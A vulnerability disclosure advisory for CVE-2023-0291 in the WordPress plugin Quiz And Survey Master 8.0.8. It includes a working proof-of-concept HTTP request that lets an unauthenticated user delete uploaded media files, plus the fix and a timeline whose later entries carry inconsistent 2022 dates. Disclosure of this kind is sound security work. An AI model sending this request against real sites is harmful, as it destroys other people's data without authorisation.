WordPress Quiz And Survey Master 8.0.8 Media Deletion

`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: Quiz And Survey Master  
Vendor URL: https://wordpress.org/plugins/quiz-master-next/  
Type: Missing Authentication for Critical Function [CWE-306]  
Date found: 2023-01-13  
Date published: 2023-02-08  
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)  
CVE: CVE-2023-0291  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
Quiz And Survey Master 8.0.8 and below  
  
  
4. INTRODUCTION  
===============  
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used  
to create engaging content to drive traffic and increase user engagement.  
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee  
surveys. This plugin is the ultimate marketing tool for your website.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
The plugin offers the ajax action "qsm_remove_file_fd_question" to unauthenticated  
users which accepts a "media_id" parameter pointing to a any item uploaded through  
WordPress' media upload functionality. However, this "media_id" is afterward used  
in a forced wp_delete_attachment() call ultimately deleteing the media from the  
WordPress instance.  
  
Successful exploits can allow an unauthenticated attacker to delete any (and all)  
uploaded WordPress media files.  
  
  
6. PROOF OF CONCEPT  
===================  
The following Proof-of-Concept would delete the uploaded media with the ID "1":  
  
POST /wp-admin/admin-ajax.php HTTP/2  
Host: localhost  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 44  
  
action=qsm_remove_file_fd_question&media_id=1  
  
  
7. SOLUTION  
===========  
Update to version 8.0.9  
  
  
8. REPORT TIMELINE  
==================  
2023-01-13: Discovery of the vulnerability  
2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291  
2023-01-18: Sent initial notification to vendor via contact form  
2022-01-18: Vendor response  
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability  
2022-02-08: Public disclosure  
  
  
9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories  
  
  
--  
Mit freundlichen Grüßen / With best regards / Atentamente  
  
Julien Ahrens  
Freelancer | Penetration Tester  
  
RCE Security  
VAT-ID: DE328576638  
Website: www.rcesecurity.com  
  
  
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